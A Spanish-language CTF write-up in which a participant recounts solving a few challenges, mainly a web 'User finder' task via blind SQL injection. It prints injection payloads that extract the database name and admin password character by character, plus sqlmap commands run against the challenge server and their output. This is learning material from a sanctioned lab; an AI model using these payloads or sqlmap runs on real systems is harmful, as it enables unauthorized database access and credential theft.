Aupa!
No me voy a alargar demasiado, ya que seguro que tenéis mucho trabajo, y esto no os da de comer!

Primero gracias por la organización de este evento, sobre todo a este apartado CTF.
Por presentarme, llevo muchos años en la informática, teniendo la suerte de dedicarme a ello profesionalmente, pero no llevo apenas nada en el mundo de los eventos de hacking. En otoño tomé parte en el MOOC de hacking ético de la universidad de Mondragón, y este es el único otro evento.
Tengo algo de experiencia en todo tipo de cosas relacionadas con la informática (servidores/estaciones, windows/linux, pc/android/raspberry/arduino...), pero en este CTF me he sentido un poco perdido. Desde el curioso formato de las respuestas flag{MiRespuesta}, hasta sentirme vendido y sin un sitio donde compartir conocimientos.

Tristemente empecé muy tarde con el reto, y en este día solo he conseguido superar un puñado de flags:

0level - First flag
Solo al ver la pista "view:source" he conseguido interpretar que al ver el código fuente de la página <meta name="flag" content="flag{starter_flag_welcome}"> nos revelaba la respuesta

Trivia - Trivia2
Una fructuosa búsqueda por Google nos revela que la respuesta era 8192, así que aplicándole MD5, nos sale flag{774412967f19ea61d448977ad9749078}. Esta me ha costado poco!
Web - User finder I
Tengo que admitir que con este reto he estado bastante y he disfrutado MUCHO. No sé qué inspiración divina me ha indicado que podría tratarse de inyección SQL, así que consultando
http://sqlzoo.net/hack/index.html
https://spike188.wordpress.com/category/blind-sql-injection/
He ido probando y averiguando información...
" OR "1"="1

" OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE "%A%") AND ""="
" OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE "%B%") AND ""="
" OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE "%C%") AND ""="
...
" OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE "CTF") AND ""="

Vamos averiguando cada caracter con:
" OR EXISTS(SELECT * FROM users WHERE user="admin" AND password LIKE "%a%") AND ""="
" OR EXISTS(SELECT * FROM users WHERE user="admin" AND password LIKE "%b%") AND ""="
" OR EXISTS(SELECT * FROM users WHERE user="admin" AND password LIKE "%c%") AND ""="
Y vamos sacando: acfghilnovxy...
Uf, nos podemos morir! Averiguamos cada caracter con:
admin" and ascii(substring((SELECT concat(user,0x3a,password) from users where user="admin"),1,1))>96 and "1"="1

Letal, demasiado lento. Cómo se puede automatizar? Pues con sqlmap!
https://github.com/sqlmapproject/sqlmap/wiki/Usage

python sqlmap.py -u "http://146.185.172.148:47000/index.php?username=admin" -D CTF -T users --columns --level=5 --risk=3 --dbms=mysql --threads=5
admin" and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1 and "1"="1

Finalmente lo sacamos con:
python sqlmap.py -u "http://146.185.172.148:47000/index.php?username=admin" -p username -v1 --sql-query "(SELECT concat(user,0x3a,password) from users where user='admin')"
[11:56:20] [INFO] retrieved: admin:flag{XCYv7i0fNOYyogHc}

Help - Encuesta
Se agradece que después de rellenar la encuesta se nos obsequie con flag{EuskalHackTeAgradeceTuParticipacion} Suma puntitos!